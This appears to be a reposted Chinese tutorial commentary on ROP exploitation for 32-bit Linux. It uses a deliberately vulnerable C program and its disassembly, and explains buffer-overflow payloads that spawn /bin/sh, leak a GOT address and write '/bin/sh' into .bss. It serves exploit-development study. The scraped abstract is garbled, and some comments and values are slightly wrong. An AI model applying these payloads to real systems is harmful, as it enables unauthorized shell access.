一步一步学ROP之linux_x86篇

摘要:
0x00本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇。level1.c代码例如以下:#include#include#includevoidvulnerable_function(){charbuf[128];read;}intmain{vulnerable_function();write;}使用objdump-Slevel1反汇编,结果例如以下:08048404:8048404:55push%ebp8048405:89e5mov%esp,%ebp8048407:81ec98000000sub$0x98,%esp//esp-0x98804840d:c7442408000100movl$0x100,0x8//存放第三个參数2568048414:008048415:8d8578fffffflea-0x88,%eax//存放第二个參数,buf的地址804841b:89442404mov%eax,0x4804841f:c7042400000000movl$0x0,//存放第一个參数,STDOUT_FILENO8048426:e8e5feffffcall8048310804842b:c9leave804842c:c3ret0804842d:804842d:55push%ebp804842e:89e5mov%esp,%ebp8048430:83e4f0and$0xfffffff0,%esp8048433:83ec10sub$0x10,%esp8048436:e8c9ffffffcall8048404804843b:c74424080d0000movl$0xd,0x88048442:008048443:c7442404308504movl$0x8048530,0x4804844a:08804844b:c7042401000000movl$0x1,8048452:e8e9feffffcall80483408048457:c9leave8048458:c3ret8048459:90nop804845a:90nop804845b:90nop804845c:90nop804845d:90nop804845e:90nop804845f:90nop当main函数调用call8048404,參考上面的代码凝视,就形成了下图结构:0x02payload='A'*140+p32+p32+p32这段代码是为了运行system,然后返回到ret继续运行。也就是binshaddr是system的參数。此时假设想取第一个參数。为什么system运行后返回到ret了。write;0x04在一步一步学ROP之linux_x64篇一文中,讲到了MemoryLeak,这段代码的含义是什么呢?

0x00

本文仅解释说明蒸米大神一步一步学ROP之linux_x86篇。读者应先阅读这篇文章,遇到问题再来看我这篇文章。

阅读完这两篇文章后,我们会理解ROP(返回导向编程),DEP(堆栈不可运行),ASLR(内存地址随机化)。Stack Protector(栈保护),Memory Leak

0x01

第一个问题:为什么要构造成”A”*140+ret字符串。这个140是怎么来的呢?

要回答这个问题,我们须要把level1.c反汇编。level1.c代码例如以下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World
", 13);
}
使用objdump -S level1反汇编,结果例如以下:

08048404 <vulnerable_function>:
 8048404:    55                       push   %ebp
 8048405:    89 e5                    mov    %esp,%ebp
 8048407:    81 ec 98 00 00 00        sub    $0x98,%esp //esp-0x98
 804840d:    c7 44 24 08 00 01 00     movl   $0x100,0x8(%esp)//存放第三个參数256
 8048414:    00 
 8048415:    8d 85 78 ff ff ff        lea    -0x88(%ebp),%eax//存放第二个參数,buf的地址
 804841b:    89 44 24 04              mov    %eax,0x4(%esp)
 804841f:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)//存放第一个參数,STDOUT_FILENO
 8048426:    e8 e5 fe ff ff           call   8048310 <read@plt>
 804842b:    c9                       leave  
 804842c:    c3                       ret   

0804842d <main>:
 804842d:    55                       push   %ebp
 804842e:    89 e5                    mov    %esp,%ebp
 8048430:    83 e4 f0                 and    $0xfffffff0,%esp
 8048433:    83 ec 10                 sub    $0x10,%esp
 8048436:    e8 c9 ff ff ff           call   8048404 <vulnerable_function>
 804843b:    c7 44 24 08 0d 00 00     movl   $0xd,0x8(%esp)
 8048442:    00 
 8048443:    c7 44 24 04 30 85 04     movl   $0x8048530,0x4(%esp)
 804844a:    08 
 804844b:    c7 04 24 01 00 00 00     movl   $0x1,(%esp)
 8048452:    e8 e9 fe ff ff           call   8048340 <write@plt>
 8048457:    c9                       leave  
 8048458:    c3                       ret    
 8048459:    90                       nop
 804845a:    90                       nop
 804845b:    90                       nop
 804845c:    90                       nop
 804845d:    90                       nop
 804845e:    90                       nop
 804845f:    90                       nop
当main函数调用call 8048404 <vulnerable_function>,參考上面的代码凝视,就形成了下图结构:

一步一步学ROP之linux_x86篇第1张

0x02

payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这段代码是为了运行system("/bin/sh"),然后返回到ret继续运行。也就是binshaddr是system的參数。那么为什么这些写能够呢?

我们先来看8048426: e8 e5 fe ff ff call 8048310 <read@plt>是怎么样取參数的?

一步一步学ROP之linux_x86篇第2张

调用read后。依次向堆栈中存储了EIP和EBP。此时假设想取第一个參数。须要用ESP-8。

同理我们就能够理解payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)这句代码的含义,例如以下图。观察右边的小图

一步一步学ROP之linux_x86篇第3张

这样我们就能理解为什么/bin/sh是第一个參数。为什么system("/bin/sh")运行后返回到ret了。

0x03

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)这句话运行的函数是?

write(STDOUT_FILENO, got_write, 3);

0x04

一步一步学ROP之linux_x64篇一文中,讲到了Memory Leak,这段代码的含义是什么呢?

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
从标准输入读取/bin/sh到.bss段,相应的代码read(STDIN_FILENO, bss_addr, 8)。

然后返回到pppt,运行pop pop pop ret。也就是绕过p32(0) + p32(bss_addr) + p32(8),运行system_addr,之后的流程就和原来一致了。

免责声明:文章转载自《一步一步学ROP之linux_x86篇》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Arduino—运算符DNN系统模块简介下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

随便看看

Pandorabox(Openwrt) 双宽带(WAN) 叠加网络实战

注意根据需要调整优先级,最终效果如下效果保存完所有配置,双WAN在理论上已经叠加成功了,由于https已经被我们固定一个IP访问了,所以使用speedtest只能测试出单宽带的速度,使用http下载/BT下载/steam等下载可跑到满速...

secureCRT 同时向多个窗口发送命令

当多个服务器需要安装相同的软件服务时,为每个服务执行相同的命令是很麻烦的,并且当一个服务器执行时可能会遗漏一些内容。因此,同步执行命令非常重要。SecureCRT为我们提供了这样一个功能。在交互式窗口对话框中输入命令以查询中心#ipaddr3.1窗口的IP地址。此时,窗口将执行该命令。...

Delphi国内优秀网站及开源项目

它被设计为与Delphi2010或更高版本一起使用,它使用了旧版Delphi中没有的语言/RTL功能。https://github.com/VSoftTechnologies/DUnitXDelphiIDEColorizerDelphiIDEColorizer是一个插件,它可以使RADStudioIDE的工作空间https://github.com/RRUZ...

Windows Server 2008 R2 备份与恢复详细实例

Windows ftp服务可以在百度内置,非常简单。)1.首先安装windows server 2008R2的备份功能。查找Windows的“服务器管理器”。下图显示了我的服务器的情况。双击它。备份完成后,我们卸载qq并删除磁盘F的数据。Linux服务器在没有密码的情况下构建Samba登录,并使用yum进行安装。...

VMP加壳(三):VMP壳爆破实战-破解某编辑类软件

同时,记住在内存视图中向VMP0段提供断点后继续单击确认按钮,以查看调用方法的位置(此处的返回地址为0x5E01E9),但此处返回push(或vm条目)。这个地方会是验证码检测的入口吗!通过字符串查找各种键提示(sn、不正确注册等)的内存:通过访问断点查找键代码,然后找出调用该函数的函数,这与JCC指令的距离更远。...

海康SDK编程指南(C#二次开发版本)

海康SDK编程指南目前使用的海康SDK包括IPC_SDK,Plat_SDK(平台),其中两套SDK都需单独调用海康播放库PlayCtrl.dll来解码视频流,返回视频信息和角度信息。本文仅对视频监控常用功能的使用进行说明,其它未实现功能请参看设备网络SDK使用手册和播放库编程指南V7.2。IPC_SDK编程指南(一)SDK的引用由于IPC_SDK没有SDK安...